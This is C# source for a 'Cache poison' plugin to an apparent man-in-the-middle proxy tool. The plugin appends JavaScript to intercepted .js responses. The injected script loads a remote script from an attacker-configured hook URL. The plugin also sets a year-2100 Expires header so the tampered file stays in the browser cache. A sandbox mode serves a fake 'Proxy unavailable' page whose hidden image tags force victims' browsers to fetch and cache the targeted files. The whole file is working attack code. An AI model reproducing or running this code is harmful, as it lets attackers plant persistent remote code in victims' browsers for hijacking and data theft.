﻿using Model.Elements;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading.Tasks;

namespace CachePoison
{
    public class CachePoison : IPlugin.IPlugin
    {
        #region InfoPlugin

        public string[] Authors
        {
            get
            {
                return new string[] { "Manuel Fernandez" };
            }
        }

        public string Name
        {
            get
            {
                return "Cache poison";
            }
        }

        public string Description
        {
            get
            {
                return "Forces to cache modified JS files";
            }
        }

        public IPlugin.PluginRing Ring
        {
            get
            {
                return IPlugin.PluginRing.Ring0;
            }
        }
        #endregion

        public Model.Elements.HttpPacket Start(Model.Elements.HttpPacket packet)
        {
            if (packet is Model.Elements.HttpResponsePacket)
            {
                Model.Elements.HttpResponsePacket response = packet as Model.Elements.HttpResponsePacket;

                Model.Elements.HttpRequestPacket request = response.GetRequestPacket();
                if (request == null)
                    return response;

                string mode = Config.GetField("mode");

                if (mode.ToLower() == "open")
                    OpenNavigation(request, response);
                else if (mode.ToLower() == "sandbox")
                    SandboxNavigation(request, response);
                return response;
            }

            return packet;
        }

        private void PoisonResponse(HttpResponsePacket response, string hookUrl)
        {
            //string jsInject = string.Concat("function payload(){ x=document.getElementById(\"poison\");if (x == null) { document.write(\"<script id='poison' type='application/javascript' src='", hookUrl, "'></script>\");}}payload();");
            string jsInject = "function payload(){ x=document.getElementById(\"poison\");if (x == null) { var script= document.createElement('script'); script.src='" + hookUrl + "'; document.getElementsByTagName('html')[0].appendChild(script);}}payload();";
            string modifiedJs = string.Concat(ASCIIEncoding.ASCII.GetString(response.data), jsInject);
            response.data = ASCIIEncoding.ASCII.GetBytes(modifiedJs);
            response.RemoveHeader("Content-Length", false);
            response.AddHeader(new Model.Elements.HttpHeader("Content-Length", response.data.Length.ToString()));
            response.AddHeader(new Model.Elements.HttpHeader("Expires", "Expires: Thu, 25 Dec 2100 11:00:00 GMT"));
        }

        private void OpenNavigation(Model.Elements.HttpRequestPacket request, Model.Elements.HttpResponsePacket response)
        {
            string fileName = string.Empty;
            if (request.uri.Contains('?'))
                fileName = request.uri.Split('?')[0];
            else
                fileName = request.uri;

            // Hooks any .js except the hookUrl in case it is a .js file
            if (fileName.EndsWith(".js") && (!fileName.StartsWith((new Uri(Config.GetField("hookUrl"))).AbsolutePath)))
            {
                if (Config.ExistsConfig())
                {
                    string hookUrl = Config.GetField("hookUrl");
                    PoisonResponse(response, hookUrl);
                }
            }
        }

        private void SandboxNavigation(Model.Elements.HttpRequestPacket request, Model.Elements.HttpResponsePacket response)
        {
            string rawSandboxJsPoison = Config.GetField("sandboxPoison");
            string[] urls = rawSandboxJsPoison.Split(' ');

            string requestedUrl = string.Concat((request.ssl ? "https://" : "http://"),
                                                request.GetHeader("Host", false).value,
                                                request.uri);

            foreach (string url in urls)
            {
                if (url == requestedUrl)
                {
                    // If the requested file is one of the list of the configuration file
                    // then the response is modified with the hook.
                    PoisonResponse(response, Config.GetField("hookUrl"));
                    return;
                }
            }

            string messageErrorFake = "<h1>Proxy unavailable</h1>";
            StringBuilder payload = new StringBuilder();
            foreach (string url in urls)
            {
                payload.Append(string.Concat("<img src='", url, "' style='visibility: hidden;'/>"));
            }
            response.SetData(ASCIIEncoding.ASCII.GetBytes(string.Concat(messageErrorFake, payload.ToString())));
        }
    }
}
